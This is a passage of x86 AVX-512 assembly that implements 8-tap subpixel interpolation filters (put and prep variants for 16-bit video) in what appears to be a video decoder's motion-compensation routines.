mova ym6, [spel_shuf4a]
mova ym7, [spel_shuf4b]
mova m2, m10
mova m3, m10
pshufb m1, m4, m19
vpdpwssd m2, m8, m1
pshufb m1, m0, m19
vpdpwssd m3, m8, m1
pshufb m4, m20
vpdpwssd m2, m9, m4
pshufb m0, m20
vpdpwssd m3, m9, m0
vpermb m1, m6, m2 ; 01 12
vshufi32x4 m2, m3, q1032
vpermb m3, m6, m3 ; 45 56
vpermb m2, m6, m2 ; 23 34
.hv_w4_loop:
movu xm18, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
vinserti128 ym18, [srcq+ssq*0], 1
mova ym4, ym10
pshufb ym17, ym18, ym19
pmaddwd ym16, ym12, ym1 ; a0 b0
vpdpwssd ym4, ym8, ym17
pshufb ym18, ym20
mova ym1, ym2
vpdpwssd ym16, ym13, ym2 ; a1 b1
vpdpwssd ym4, ym9, ym18 ; 7 8
mova ym2, ym3
vpdpwssd ym16, ym14, ym3 ; a2 b2
vpermt2b ym3, ym7, ym4 ; 67 78
vpdpwssd ym16, ym15, ym3 ; a3 b3
psrad ym16, 10
vextracti128 xm17, ym16, 1
packusdw xm16, xm17
pminsw xm16, xm11
movq [dstq+dsq*0], xm16
movhps [dstq+dsq*1], xm16
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w4_loop
vzeroupper
RET
.hv_w8:
shr mxd, 16
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
pmovsxbw xmm1, [base+subpel_filters+myq*8]
lea r6, [ssq*3]
sub srcq, 6
sub srcq, r6
test dword r8m, 0x800
jnz .hv_w8_12bit
vpbroadcastd m10, [pd_2176]
psllw xmm0, 6
jmp .hv_w8_main
.hv_w8_12bit:
vpbroadcastd m10, [pd_640]
psllw xmm0, 4
psllw xmm1, 2
.hv_w8_main:
mova [buf+ 0], xmm0
mova [buf+16], xmm1
vpbroadcastd m12, xmm0
vpbroadcastd m13, [buf+ 4]
vpbroadcastd m14, [buf+ 8]
vpbroadcastd m15, [buf+12]
vpbroadcastd m16, xmm1
vpbroadcastd m17, [buf+20]
vpbroadcastd m18, [buf+24]
vpbroadcastd m19, [buf+28]
cmp wd, 16
je .hv_w16
jg .hv_w32
mova m5, [spel_h_shufA]
movu ym0, [srcq+ssq*0]
vinserti32x8 m0, [srcq+ssq*1], 1 ; 0 1
movu ym9, [srcq+ssq*2]
add srcq, r6
vinserti32x8 m9, [srcq+ssq*0], 1 ; 2 3
movu ym20, [srcq+ssq*1]
vinserti32x8 m20, [srcq+ssq*2], 1 ; 4 5
add srcq, r6
movu ym21, [srcq+ssq*0] ; 6
movu m6, [spel_h_shufB]
movu m7, [spel_h_shufC]
vpermb m8, m5, m0
mova m1, m10
vpdpwssd m1, m12, m8 ; a0 b0
vpermb m8, m5, m9
mova m2, m10
vpdpwssd m2, m12, m8 ; c0 d0
vpermb m8, m5, m20
mova m3, m10
vpdpwssd m3, m12, m8 ; e0 f0
vpermb m8, m5, m21
mova m4, m10
vpdpwssd m4, m12, m8 ; g0
vpermb m8, m6, m0
vpdpwssd m1, m13, m8 ; a1 b1
vpermb m8, m6, m9
vpdpwssd m2, m13, m8 ; c1 d1
vpermb m8, m6, m20
vpdpwssd m3, m13, m8 ; e1 f1
vpermb m8, m6, m21
vpdpwssd m4, m13, m8 ; g1
vpermb m8, m7, m0
vpdpwssd m1, m14, m8 ; a2 b2
vpermb m8, m7, m9
vpdpwssd m2, m14, m8 ; c2 d2
vpermb m8, m7, m20
vpdpwssd m3, m14, m8 ; e2 f2
vpermb m8, m7, m21
vpdpwssd m4, m14, m8 ; g2
mova m8, [spel_h_shufD]
vpermb m0, m8, m0
vpdpwssd m1, m15, m0 ; a3 b3
mova m0, [spel_shuf8a]
vpermb m9, m8, m9
vpdpwssd m2, m15, m9 ; c3 d3
mova m9, [spel_shuf8b]
vpermb m20, m8, m20
vpdpwssd m3, m15, m20 ; e3 f3
vpermb m21, m8, m21
vpdpwssd m4, m15, m21 ; g3
vpermt2b m1, m0, m2 ; 01 12
vpermt2b m2, m0, m3 ; 23 34
vpermt2b m3, m0, m4 ; 45 56
.hv_w8_loop:
movu ym0, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
vinserti32x8 m0, [srcq+ssq*0], 1
mova m4, m10
vpermb m21, m5, m0
vpdpwssd m4, m12, m21 ; h0 i0
vpermb m21, m6, m0
pmaddwd m20, m16, m1 ; A0 B0
vpdpwssd m4, m13, m21 ; h1 i1
vpermb m21, m7, m0
mova m1, m2
vpdpwssd m20, m17, m2 ; A1 B1
vpdpwssd m4, m14, m21 ; h2 i2
vpermb m21, m8, m0
mova m2, m3
vpdpwssd m20, m18, m3 ; A2 B2
vpdpwssd m4, m15, m21 ; h3 i3
vpermt2b m3, m9, m4 ; 67 78
vpdpwssd m20, m19, m3 ; A3 B3
psrad m20, 10
vextracti32x8 ym21, m20, 1
packusdw ym20, ym21
pminsw ym20, ym11
mova [dstq+dsq*0], xm20
vextracti128 [dstq+dsq*1], ym20, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w8_loop
vzeroupper
RET
.hv_w16:
WIN64_SPILL_XMM 26
vbroadcasti32x8 m5, [srcq+ssq*0+ 8]
vinserti32x8 m4, m5, [srcq+ssq*0+ 0], 0
vinserti32x8 m5, [srcq+ssq*0+16], 1 ; 0
movu ym6, [srcq+ssq*1+ 0]
movu ym7, [srcq+ssq*1+16]
vinserti32x8 m6, [srcq+ssq*2+ 0], 1
vinserti32x8 m7, [srcq+ssq*2+16], 1 ; 1 2
add srcq, r6
movu ym22, [srcq+ssq*0+ 0]
movu ym23, [srcq+ssq*0+16]
vinserti32x8 m22, [srcq+ssq*1+ 0], 1
vinserti32x8 m23, [srcq+ssq*1+16], 1 ; 3 4
movu ym24, [srcq+ssq*2+ 0]
movu ym25, [srcq+ssq*2+16]
add srcq, r6
vinserti32x8 m24, [srcq+ssq*0+ 0], 1
vinserti32x8 m25, [srcq+ssq*0+16], 1 ; 5 6
vbroadcasti32x4 m20, [spel_h_shufA]
vbroadcasti32x4 m21, [spel_h_shufB]
mova m9, [spel_shuf16]
pshufb m0, m4, m20
mova m1, m10
vpdpwssd m1, m12, m0 ; a0
pshufb m0, m6, m20
mova m2, m10
vpdpwssd m2, m12, m0 ; b0
pshufb m0, m7, m20
mova m3, m10
vpdpwssd m3, m14, m0 ; c2
pshufb m0, m4, m21
vpdpwssd m1, m13, m0 ; a1
pshufb m0, m6, m21
vpdpwssd m2, m13, m0 ; b1
pshufb m0, m7, m21
vpdpwssd m3, m15, m0 ; c3
pshufb m0, m5, m20
vpdpwssd m1, m14, m0 ; a2
shufpd m6, m7, 0x55
pshufb m7, m6, m20
vpdpwssd m2, m14, m7 ; b2
vpdpwssd m3, m12, m7 ; c0
pshufb m5, m21
vpdpwssd m1, m15, m5 ; a3
pshufb m6, m21
vpdpwssd m2, m15, m6 ; b3
vpdpwssd m3, m13, m6 ; c1
pshufb m0, m22, m20
mova m4, m10
vpdpwssd m4, m12, m0 ; d0
pshufb m0, m23, m20
mova m5, m10
vpdpwssd m5, m14, m0 ; e2
pshufb m0, m24, m20
mova m6, m10
vpdpwssd m6, m12, m0 ; f0
pshufb m0, m25, m20
mova m7, m10
vpdpwssd m7, m14, m0 ; g2
pshufb m0, m22, m21
vpdpwssd m4, m13, m0 ; d1
pshufb m0, m23, m21
vpdpwssd m5, m15, m0 ; e3
pshufb m0, m24, m21
vpdpwssd m6, m13, m0 ; f1
pshufb m0, m25, m21
vpdpwssd m7, m15, m0 ; g3
shufpd m22, m23, 0x55
pshufb m23, m22, m20
vpdpwssd m4, m14, m23 ; d2
vpdpwssd m5, m12, m23 ; e0
shufpd m24, m25, 0x55
pshufb m25, m24, m20
vpdpwssd m6, m14, m25 ; f2
vpdpwssd m7, m12, m25 ; g0
pshufb m22, m21
vpdpwssd m4, m15, m22 ; d3
vpdpwssd m5, m13, m22 ; e1
pshufb m24, m21
vpdpwssd m6, m15, m24 ; f3
vpdpwssd m7, m13, m24 ; g1
pslldq m1, 1
vpermt2b m2, m9, m3 ; 12
vpermt2b m4, m9, m5 ; 34
vpermt2b m6, m9, m7 ; 56
vpshrdd m1, m2, 16 ; 01
vpshrdd m3, m2, m4, 16 ; 23
vpshrdd m5, m4, m6, 16 ; 45
.hv_w16_loop:
movu ym24, [srcq+ssq*1+ 0]
movu ym25, [srcq+ssq*1+16]
lea srcq, [srcq+ssq*2]
vinserti32x8 m24, [srcq+ssq*0+ 0], 1
vinserti32x8 m25, [srcq+ssq*0+16], 1
mova m7, m10
mova m8, m10
pshufb m0, m24, m20
vpdpwssd m7, m12, m0 ; h0
pshufb m0, m25, m20
vpdpwssd m8, m14, m0 ; i2
pmaddwd m22, m16, m1 ; A0
mova m1, m3
pmaddwd m23, m16, m2 ; B0
mova m2, m4
pshufb m0, m24, m21
vpdpwssd m7, m13, m0 ; h1
pshufb m0, m25, m21
vpdpwssd m8, m15, m0 ; i3
vpdpwssd m22, m17, m3 ; A1
mova m3, m5
vpdpwssd m23, m17, m4 ; B1
mova m4, m6
shufpd m24, m25, 0x55
pshufb m25, m24, m20
vpdpwssd m7, m14, m25 ; h2
vpdpwssd m8, m12, m25 ; i0
vpdpwssd m22, m18, m5 ; A2
vpdpwssd m23, m18, m6 ; B2
pshufb m24, m21
vpdpwssd m7, m15, m24 ; h3
vpdpwssd m8, m13, m24 ; i1
vpermt2b m7, m9, m8 ; 78
vpshrdd m5, m6, m7, 16 ; 67
vpdpwssd m22, m19, m5 ; A3
vpdpwssd m23, m19, m7 ; B3
mova m6, m7
psrad m22, 10
psrad m23, 10
vshufi32x4 m0, m22, m23, q3232
vinserti32x8 m22, ym23, 1
packusdw m22, m0
pminsw m22, m11
mova [dstq+dsq*0], ym22
vextracti32x8 [dstq+dsq*1], m22, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w16_loop
RET
.hv_w32:
%assign stack_offset stack_offset - stack_size_padded
WIN64_SPILL_XMM 32
vbroadcasti32x4 m20, [spel_h_shufA]
vbroadcasti32x4 m21, [spel_h_shufB]
mova m22, [spel_shuf32]
lea wd, [hq+wq*8-256]
mov r7, srcq
mov r8, dstq
.hv_w32_loop0:
movu m6, [srcq+ssq*0+ 0]
movu m7, [srcq+ssq*0+ 8]
movu m8, [srcq+ssq*0+16]
mova m0, m10
mova m23, m10
pshufb m9, m6, m20
vpdpwssd m0, m12, m9 ; a0l
pshufb m9, m7, m20
vpdpwssd m23, m12, m9 ; a0h
vpdpwssd m0, m14, m9 ; a2l
pshufb m7, m21
vpdpwssd m23, m13, m7 ; a1h
vpdpwssd m0, m15, m7 ; a3l
pshufb m7, m8, m20
vpdpwssd m23, m14, m7 ; a2h
pshufb m6, m21
vpdpwssd m0, m13, m6 ; a1l
pshufb m8, m21
vpdpwssd m23, m15, m8 ; a3h
%macro PUT_8TAP_HV_W32 5 ; dst_lo, dst_hi, stride_name, stride[1-2]
movu m6, [srcq+%3*%4+ 0]
movu m7, [srcq+%3*%4+ 8]
movu m8, [srcq+%3*%4+16]
%if %4 == 2
add srcq, r6
%endif
movu m29, [srcq+%3*%5+ 0]
movu m30, [srcq+%3*%5+ 8]
movu m31, [srcq+%3*%5+16]
%if %5 == 2
add srcq, r6
%endif
mova m%1, m10
mova m9, m10
pshufb m%2, m6, m20
vpdpwssd m%1, m12, m%2 ; x0l
pshufb m%2, m29, m20
vpdpwssd m9, m12, m%2 ; y0l
pshufb m6, m21
vpdpwssd m%1, m13, m6 ; x1l
pshufb m29, m21
vpdpwssd m9, m13, m29 ; y1l
pshufb m6, m7, m20
mova m%2, m10
vpdpwssd m%2, m12, m6 ; x0h
pshufb m29, m30, m20
vpdpwssd m%1, m14, m6 ; y2l
mova m6, m10
vpdpwssd m6, m12, m29 ; x0h
pshufb m7, m21
vpdpwssd m9, m14, m29 ; y2l
pshufb m30, m21
vpdpwssd m%2, m13, m7 ; x1h
vpdpwssd m%1, m15, m7 ; x3l
pshufb m7, m8, m20
vpdpwssd m6, m13, m30 ; y1h
vpdpwssd m9, m15, m30 ; y3l
pshufb m30, m31, m20
vpdpwssd m%2, m14, m7 ; x2h
pshufb m8, m21
vpdpwssd m6, m14, m30 ; y2h
pshufb m31, m21
vpdpwssd m%2, m15, m8 ; x3h
vpdpwssd m6, m15, m31 ; y3h
%if %1 == 1
vpermt2b m0, m22, m%1 ; 01l
vpermt2b m23, m22, m%2 ; 01h
%endif
vpermt2b m%1, m22, m9 ; xyl
vpermt2b m%2, m22, m6 ; xyh
%endmacro
PUT_8TAP_HV_W32 1, 24, ssq, 1, 2 ; 12
PUT_8TAP_HV_W32 3, 26, ssq, 0, 1 ; 34
PUT_8TAP_HV_W32 5, 28, ssq, 2, 0 ; 56
vpshrdd m2, m1, m3, 16 ; 23l
vpshrdd m25, m24, m26, 16 ; 23h
vpshrdd m4, m3, m5, 16 ; 45l
vpshrdd m27, m26, m28, 16 ; 45h
.hv_w32_loop:
movu m7, [srcq+ssq*1+ 0]
movu m9, [srcq+ssq*2+ 0]
movu m6, [srcq+ssq*1+ 8]
movu m8, [srcq+ssq*2+ 8]
mova m29, m10
mova m31, m10
pshufb m30, m7, m20
vpdpwssd m29, m12, m30 ; h0l
pshufb m30, m9, m20
vpdpwssd m31, m12, m30 ; i0l
pshufb m7, m21
vpdpwssd m29, m13, m7 ; h1l
pshufb m9, m21
vpdpwssd m31, m13, m9 ; i1l
pshufb m7, m6, m20
vpdpwssd m29, m14, m7 ; h2l
pshufb m9, m8, m20
vpdpwssd m31, m14, m9 ; i2l
pshufb m6, m21
vpdpwssd m29, m15, m6 ; h3l
pshufb m8, m21
vpdpwssd m31, m15, m8 ; i3l
mova m30, m10
vpdpwssd m30, m12, m7 ; h0h
movu m7, [srcq+ssq*1+16]
lea srcq, [srcq+ssq*2]
vpermt2b m29, m22, m31 ; 78l
mova m31, m10
vpdpwssd m31, m12, m9 ; i0h
movu m9, [srcq+ssq*0+16]
vpdpwssd m30, m13, m6 ; h1h
pshufb m6, m7, m20
vpdpwssd m31, m13, m8 ; i1h
pshufb m8, m9, m20
vpdpwssd m30, m14, m6 ; h2h
pmaddwd m6, m16, m0 ; A0l
pshufb m7, m21
vpdpwssd m31, m14, m8 ; i2h
pmaddwd m8, m16, m23 ; A0h
pshufb m9, m21
vpdpwssd m30, m15, m7 ; h3h
pmaddwd m7, m16, m1 ; B0l
vpdpwssd m31, m15, m9 ; i3h
pmaddwd m9, m16, m24 ; B0h
mova m0, m2
vpdpwssd m6, m17, m2 ; A1l
mova m23, m25
vpdpwssd m8, m17, m25 ; A1h
mova m1, m3
vpdpwssd m7, m17, m3 ; B1l
mova m24, m26
vpdpwssd m9, m17, m26 ; B1h
vpermt2b m30, m22, m31 ; 78h
vpdpwssd m6, m18, m4 ; A2l
mova m2, m4
vpdpwssd m8, m18, m27 ; A2h
mova m25, m27
vpdpwssd m7, m18, m5 ; B2l
mova m3, m5
vpdpwssd m9, m18, m28 ; B2h
mova m26, m28
vpshrdd m4, m5, m29, 16 ; 67l
vpdpwssd m6, m19, m4 ; A3l
vpshrdd m27, m28, m30, 16 ; 67h
vpdpwssd m8, m19, m27 ; A3h
mova m5, m29
vpdpwssd m7, m19, m29 ; B3l
mova m28, m30
vpdpwssd m9, m19, m30 ; B3h
REPX {psrad x, 10}, m6, m8, m7, m9
packusdw m6, m8
packusdw m7, m9
pminsw m6, m11
pminsw m7, m11
mova [dstq+dsq*0], m6
mova [dstq+dsq*1], m7
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w32_loop
add r7, 64
add r8, 64
movzx hd, wb
mov srcq, r7
mov dstq, r8
sub wd, 1<<8
jg .hv_w32_loop0
RET
%if WIN64
DECLARE_REG_TMP 6, 4
%else
DECLARE_REG_TMP 6, 7
%endif
MC_8TAP_FN prep, sharp, SHARP, SHARP
MC_8TAP_FN prep, sharp_smooth, SHARP, SMOOTH
MC_8TAP_FN prep, smooth_sharp, SMOOTH, SHARP
MC_8TAP_FN prep, smooth, SMOOTH, SMOOTH
MC_8TAP_FN prep, sharp_regular, SHARP, REGULAR
MC_8TAP_FN prep, regular_sharp, REGULAR, SHARP
MC_8TAP_FN prep, smooth_regular, SMOOTH, REGULAR
MC_8TAP_FN prep, regular_smooth, REGULAR, SMOOTH
MC_8TAP_FN prep, regular, REGULAR, REGULAR
cglobal prep_8tap_16bpc, 3, 8, 16, tmp, src, stride, w, h, mx, my, stride3
%define base r7-prep_avx512icl
imul mxd, mxm, 0x010101
add mxd, t0d ; 8tap_h, mx, 4tap_h
imul myd, mym, 0x010101
add myd, t1d ; 8tap_v, my, 4tap_v
lea r7, [prep_avx512icl]
mov wd, wm
movifnidn hd, hm
test mxd, 0xf00
jnz .h
test myd, 0xf00
jnz .v
tzcnt wd, wd
mov r5d, r7m ; bitdepth_max
vpbroadcastd m5, [pw_8192]
movzx wd, word [r7+wq*2+table_offset(prep,)]
shr r5d, 11
vpbroadcastd m4, [r7-prep_avx512icl+prep_mul+r5*4]
add wq, r7
lea r6, [strideq*3]
%if WIN64
pop r7
%endif
jmp wq
.h_w4:
movzx mxd, mxb
sub srcq, 2
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
mov r5d, r7m
vbroadcasti32x4 m4, [spel_h_shufA]
vbroadcasti32x4 m5, [spel_h_shufB]
shr r5d, 11
mova ym9, [prep_endA]
psllw xmm0, [base+prep_hv_shift+r5*8]
mova [tmpq], xmm0
vpbroadcastd m6, [tmpq+4]
vpbroadcastd m7, [tmpq+8]
.h_w4_loop:
movu xm2, [srcq+strideq*0]
vinserti32x4 ym2, [srcq+strideq*1], 1
vinserti32x4 m2, [srcq+strideq*2], 2
vinserti32x4 m2, [srcq+r6 ], 3
lea srcq, [srcq+strideq*4]
mova m0, m10
pshufb m1, m2, m4
vpdpwssd m0, m6, m1
pshufb m2, m5
vpdpwssd m0, m7, m2
vpermb m0, m9, m0
mova [tmpq], ym0
add tmpq, 32
sub hd, 4
jg .h_w4_loop
RET
.h:
test myd, 0xf00
jnz .hv
vpbroadcastd m10, [prep_8tap_rnd]
lea r6, [strideq*3]
cmp wd, 4
je .h_w4
shr mxd, 16
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
mov r5d, r7m
sub srcq, 6
shr r5d, 11
psllw xmm0, [base+prep_hv_shift+r5*8]
mova [tmpq], xmm0
vpbroadcastd m12, xmm0
vpbroadcastd m13, [tmpq+ 4]
vpbroadcastd m14, [tmpq+ 8]
vpbroadcastd m15, [tmpq+12]
cmp wd, 16
je .h_w16
jg .h_w32
.h_w8:
mova m6, [spel_h_shufA]
movu m7, [spel_h_shufB]
movu m8, [spel_h_shufC]
mova m9, [spel_h_shufD]
mova m11, [prep_endB]
.h_w8_loop:
movu ym4, [srcq+strideq*0]
vinserti32x8 m4, [srcq+strideq*1], 1
movu ym5, [srcq+strideq*2]
vinserti32x8 m5, [srcq+r6 ], 1
lea srcq, [srcq+strideq*4]
mova m0, m10
mova m1, m10
vpermb m2, m6, m4
vpermb m3, m6, m5
vpdpwssd m0, m12, m2
vpdpwssd m1, m12, m3
vpermb m2, m7, m4
vpermb m3, m7, m5
vpdpwssd m0, m13, m2
vpdpwssd m1, m13, m3
vpermb m2, m8, m4
vpermb m3, m8, m5
vpdpwssd m0, m14, m2
vpdpwssd m1, m14, m3
vpermb m2, m9, m4
vpermb m3, m9, m5
vpdpwssd m0, m15, m2
vpdpwssd m1, m15, m3
vpermt2b m0, m11, m1
mova [tmpq], m0
add tmpq, 64
sub hd, 4
jg .h_w8_loop
RET
.h_w16:
vbroadcasti32x4 m6, [spel_h_shufA]
vbroadcasti32x4 m7, [spel_h_shufB]
mova m11, [prep_endC]
.h_w16_loop:
movu ym2, [srcq+strideq*0+ 0]
vinserti32x8 m2, [srcq+strideq*1+ 0], 1
movu ym3, [srcq+strideq*0+16]
vinserti32x8 m3, [srcq+strideq*1+16], 1
lea srcq, [srcq+strideq*2]
mova m0, m10
mova m1, m10
pshufb m4, m2, m6
vpdpwssd m0, m12, m4 ; a0
pshufb m4, m3, m6
vpdpwssd m1, m14, m4 ; b2
pshufb m4, m2, m7
vpdpwssd m0, m13, m4 ; a1
pshufb m4, m3, m7
vpdpwssd m1, m15, m4 ; b3
shufpd m2, m3, 0x55
pshufb m4, m2, m6
vpdpwssd m0, m14, m4 ; a2
vpdpwssd m1, m12, m4 ; b0
pshufb m2, m7
vpdpwssd m0, m15, m2 ; a3
vpdpwssd m1, m13, m2 ; b1
vpermt2b m0, m11, m1
mova [tmpq], m0
add tmpq, 64
sub hd, 2
jg .h_w16_loop
RET
.h_w32:
vbroadcasti32x4 m6, [spel_h_shufA]
lea srcq, [srcq+wq*2]
vbroadcasti32x4 m7, [spel_h_shufB]
neg wq
mova m11, [prep_endC]
.h_w32_loop0:
mov r6, wq
.h_w32_loop:
movu m2, [srcq+r6*2+ 0]
movu m3, [srcq+r6*2+ 8]
mova m0, m10
mova m1, m10
pshufb m4, m2, m6
vpdpwssd m0, m12, m4 ; a0
pshufb m4, m3, m6
vpdpwssd m1, m12, m4 ; b0
vpdpwssd m0, m14, m4 ; a2
movu m4, [srcq+r6*2+16]
pshufb m3, m7
vpdpwssd m1, m13, m3 ; b1
vpdpwssd m0, m15, m3 ; a3
pshufb m3, m4, m6
vpdpwssd m1, m14, m3 ; b2
pshufb m2, m7
vpdpwssd m0, m13, m2 ; a1
pshufb m4, m7
vpdpwssd m1, m15, m4 ; b3
vpermt2b m0, m11, m1
mova [tmpq], m0
add tmpq, 64
add r6, 32
jl .h_w32_loop
add srcq, strideq
dec hd
jg .h_w32_loop0
RET
.v:
movzx mxd, myb
shr myd, 16
cmp hd, 4
cmove myd, mxd
mov r5d, r7m
vpbroadcastd m10, [prep_8tap_rnd]
pmovsxbw xmm0, [base+subpel_filters+myq*8]
tzcnt r6d, wd
shr r5d, 11
movzx r6d, word [r7+r6*2+table_offset(prep, _8tap_v)]
psllw xmm0, [base+prep_hv_shift+r5*8]
add r7, r6
lea r6, [strideq*3]
sub srcq, r6
mova [tmpq], xmm0
vpbroadcastd m12, xmm0
vpbroadcastd m13, [tmpq+ 4]
vpbroadcastd m14, [tmpq+ 8]
vpbroadcastd m15, [tmpq+12]
jmp r7
.v_w4:
movq xmm1, [srcq+strideq*0]
vpbroadcastq ymm0, [srcq+strideq*1]
vpbroadcastq ymm2, [srcq+strideq*2]
add srcq, r6
vpbroadcastq ymm4, [srcq+strideq*0]
vpbroadcastq ymm3, [srcq+strideq*1]
vpbroadcastq ymm5, [srcq+strideq*2]
mova xm11, [prep_endA]
add srcq, r6
vpblendd ymm1, ymm0, 0x30
vpblendd ymm0, ymm2, 0x30
punpcklwd ymm1, ymm0 ; 01 12
vpbroadcastq ymm0, [srcq+strideq*0]
vpblendd ymm2, ymm4, 0x30
vpblendd ymm4, ymm3, 0x30
punpcklwd ymm2, ymm4 ; 23 34
vpblendd ymm3, ymm5, 0x30
vpblendd ymm5, ymm0, 0x30
punpcklwd ymm3, ymm5 ; 45 56
.v_w4_loop:
vpbroadcastq ymm5, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
mova ymm4, ym10
vpdpwssd ymm4, ym12, ymm1 ; a0 b0
mova ymm1, ymm2
vpdpwssd ymm4, ym13, ymm2 ; a1 b1
mova ymm2, ymm3
vpdpwssd ymm4, ym14, ymm3 ; a2 b2
vpblendd ymm3, ymm0, ymm5, 0x30
vpbroadcastq ymm0, [srcq+strideq*0]
vpblendd ymm5, ymm0, 0x30
punpcklwd ymm3, ymm5 ; 67 78
vpdpwssd ymm4, ym15, ymm3 ; a3 b3
vpermb ymm4, ym11, ymm4
mova [tmpq], xmm4
add tmpq, 16
sub hd, 2
jg .v_w4_loop
vzeroupper
RET
.v_w8:
vbroadcasti32x4 m2, [srcq+strideq*2]
vinserti32x4 m1, m2, [srcq+strideq*0], 0
vinserti32x4 m1, [srcq+strideq*1], 1 ; 0 1 2
add srcq, r6
vinserti32x4 ym2, [srcq+strideq*0], 1
vinserti32x4 m2, [srcq+strideq*1], 2 ; 2 3 4
mova m6, [spel_v_shuf8]
movu xm0, [srcq+strideq*1]
vinserti32x4 ym0, [srcq+strideq*2], 1
add srcq, r6
vinserti32x4 m0, [srcq+strideq*0], 2 ; 4 5 6
mova ym11, [prep_endB]
vpermb m1, m6, m1 ; 01 12
vpermb m2, m6, m2 ; 23 34
vpermb m3, m6, m0 ; 45 56
.v_w8_loop:
vinserti32x4 m0, [srcq+strideq*1], 3
lea srcq, [srcq+strideq*2]
movu xm5, [srcq+strideq*0]
mova m4, m10
vpdpwssd m4, m12, m1 ; a0 b0
mova m1, m2
vshufi32x4 m0, m5, q1032 ; 6 7 8
vpdpwssd m4, m13, m2 ; a1 b1
mova m2, m3
vpdpwssd m4, m14, m3 ; a2 b2
vpermb m3, m6, m0 ; 67 78
vpdpwssd m4, m15, m3 ; a3 b3
vpermb m4, m11, m4
mova [tmpq], ym4
add tmpq, 32
sub hd, 2
jg .v_w8_loop
RET
.v_w16:
vbroadcasti32x8 m1, [srcq+strideq*1]
vinserti32x8 m0, m1, [srcq+strideq*0], 0
vinserti32x8 m1, [srcq+strideq*2], 1
mova m8, [spel_v_shuf16]
add srcq, r6
movu ym3, [srcq+strideq*0]
vinserti32x8 m3, [srcq+strideq*1], 1
movu ym5, [srcq+strideq*2]
add srcq, r6
vinserti32x8 m5, [srcq+strideq*0], 1
mova m11, [prep_endA]
vpermb m0, m8, m0 ; 01
vpermb m1, m8, m1 ; 12
vpermb m3, m8, m3 ; 34
vpermb m5, m8, m5 ; 56
vpshrdd m2, m1, m3, 16 ; 23
vpshrdd m4, m3, m5, 16 ; 45
.v_w16_loop:
mova m6, m10
mova m7, m10
vpdpwssd m6, m12, m0 ; a0
mova m0, m2
vpdpwssd m7, m12, m1 ; b0
mova m1, m3
vpdpwssd m6, m13, m2 ; a1
mova m2, m4
vpdpwssd m7, m13, m3 ; b1
mova m3, m5
vpdpwssd m6, m14, m4 ; a2
mova m4, m5
vpdpwssd m7, m14, m5 ; b2
movu ym5, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
vinserti32x8 m5, [srcq+strideq*0], 1
vpermb m5, m8, m5 ; 78
vpshrdd m4, m5, 16 ; 67
vpdpwssd m6, m15, m4 ; a3
vpdpwssd m7, m15, m5 ; b3
vpermt2b m6, m11, m7
mova [tmpq], m6
add tmpq, 64
sub hd, 2
jg .v_w16_loop
RET
.v_w32:
.v_w64:
.v_w128:
%if WIN64
PUSH r8
movaps [rsp+stack_offset+8], xmm6
%endif
lea r5, [hq+wq*8-256]
mov r7, srcq
mov r8, tmpq
.v_w32_loop0:
movu m16, [srcq+strideq*0]
movu m17, [srcq+strideq*1]
movu m18, [srcq+strideq*2]
add srcq, r6
movu m19, [srcq+strideq*0]
movu m20, [srcq+strideq*1]
movu m21, [srcq+strideq*2]
add srcq, r6
movu m22, [srcq+strideq*0]
mova m11, [prep_endC]
punpcklwd m0, m16, m17 ; 01l
punpckhwd m16, m17 ; 01h
punpcklwd m1, m17, m18 ; 12l
punpckhwd m17, m18 ; 12h
punpcklwd m2, m18, m19 ; 23l
punpckhwd m18, m19 ; 23h
punpcklwd m3, m19, m20 ; 34l
punpckhwd m19, m20 ; 34h
punpcklwd m4, m20, m21 ; 45l
punpckhwd m20, m21 ; 45h
punpcklwd m5, m21, m22 ; 56l
punpckhwd m21, m22 ; 56h
.v_w32_loop:
mova m6, m10
vpdpwssd m6, m12, m0 ; a0l
mova m8, m10
vpdpwssd m8, m12, m16 ; a0h
mova m7, m10
vpdpwssd m7, m12, m1 ; b0l
mova m9, m10
vpdpwssd m9, m12, m17 ; b0h
mova m0, m2
vpdpwssd m6, m13, m2 ; a1l
mova m16, m18
vpdpwssd m8, m13, m18 ; a1h
mova m1, m3
vpdpwssd m7, m13, m3 ; b1l
mova m17, m19
vpdpwssd m9, m13, m19 ; b1h
mova m2, m4
vpdpwssd m6, m14, m4 ; a2l
mova m18, m20
vpdpwssd m8, m14, m20 ; a2h
mova m3, m5
vpdpwssd m7, m14, m5 ; b2l
mova m19, m21
vpdpwssd m9, m14, m21 ; b2h
movu m21, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
punpcklwd m4, m22, m21 ; 67l
punpckhwd m20, m22, m21 ; 67h
movu m22, [srcq+strideq*0]
vpdpwssd m6, m15, m4 ; a3l
vpdpwssd m8, m15, m20 ; a3h
punpcklwd m5, m21, m22 ; 78l
punpckhwd m21, m22 ; 78h
vpdpwssd m7, m15, m5 ; b3l
vpdpwssd m9, m15, m21 ; b3h
vpermt2b m6, m11, m8
vpermt2b m7, m11, m9
mova [tmpq+wq*0], m6
mova [tmpq+wq*2], m7
lea tmpq, [tmpq+wq*4]
sub hd, 2
jg .v_w32_loop
add r7, 64
add r8, 64
movzx hd, r5b
mov srcq, r7
mov tmpq, r8
sub r5d, 1<<8
jg .v_w32_loop0
%if WIN64
movaps xmm6, [rsp+stack_offset+8]
POP r8
%endif
vzeroupper
RET
.hv:
cmp wd, 4
jg .hv_w8
movzx mxd, mxb
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
movzx mxd, myb
shr myd, 16
cmp hd, 4
cmove myd, mxd
mov r5d, r7m
pmovsxbw xmm1, [base+subpel_filters+myq*8]
lea r6, [strideq*3]
sub srcq, 2
shr r5d, 11
sub srcq, r6
psllw xmm0, [base+prep_hv_shift+r5*8]
psllw xmm1, 2
vpbroadcastd m10, [prep_8tap_rnd]
vpbroadcastd ym11, [pd_128]
mova xm21, [prep_endA]
mova [tmpq+ 0], xmm0
mova [tmpq+16], xmm1
